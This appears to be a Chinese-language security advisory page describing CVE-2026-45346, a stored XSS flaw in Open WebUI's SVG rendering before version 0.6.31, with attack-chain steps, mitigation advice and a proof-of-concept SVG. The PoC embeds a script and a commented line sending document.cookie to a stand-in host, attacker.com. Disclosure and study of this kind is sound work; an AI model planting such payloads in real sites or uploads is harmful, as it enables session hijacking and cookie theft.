IPBUF安全漏洞报告
English
CVE-2026-45346 CVSS 5.4 中危

CVE-2026-45346 Open WebUI SVG渲染XSS漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-45346
漏洞类型
跨站脚本攻击 (XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Open WebUI

相关标签

XSSOpen WebUISVG InjectionCVE-2026-45346Web Security

漏洞概述

Open WebUI是一个旨在完全离线运行的自托管人工智能平台。在0.6.31版本之前,该平台的SVG渲染器实现中存在一个跨站脚本(XSS)漏洞。攻击者可利用此漏洞在受害者浏览器中执行恶意脚本,窃取会话令牌或进行其他恶意操作。该漏洞已在0.6.31版本中修复。

技术细节

该漏洞的核心在于Open WebUI对用户上传或输入的SVG内容缺乏严格的输入验证和输出编码。SVG本质上是一种基于XML的图像格式,允许嵌入JavaScript代码(如使用<script>标签或onload等事件属性)。当具有低权限的攻击者上传特制的恶意SVG文件时,系统并未对其进行无害化处理。当其他用户(受害者)访问或渲染该SVG文件时,浏览器会解析并执行其中的恶意代码。由于CVSS向量中的S:C(Scope Changed),该攻击可能导致攻击者绕过浏览器的同源策略,访问更广泛的敏感数据。

攻击链分析

STEP 1
1. 准备阶段
攻击者注册或登录Open WebUI平台,获取低权限用户账号。
STEP 2
2. 制作载荷
攻击者构造包含恶意JavaScript代码的SVG文件。
STEP 3
3. 上传载荷
攻击者利用平台的文件上传或内容发布功能,将恶意SVG文件上传至服务器。
STEP 4
4. 触发漏洞
诱导受害者访问包含该SVG文件的页面或链接。
STEP 5
5. 执行攻击
受害者浏览器渲染SVG时执行其中的恶意脚本,导致Cookie泄露或会话劫持。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<svg xmlns="http://www.w3.org/2000/svg"> <!-- Malicious SVG to demonstrate XSS --> <script type="text/javascript"> alert('CVE-2026-45346 XSS Triggered'); // In a real attack, this could send cookies to an external server: // fetch('https://attacker.com/steal?c=' + document.cookie); </script> <circle cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="red" /> </svg>

影响范围

Open WebUI < 0.6.31

防御指南

临时缓解措施
如果无法立即升级,建议管理员暂时禁用SVG文件的上传和渲染功能,以阻断攻击路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表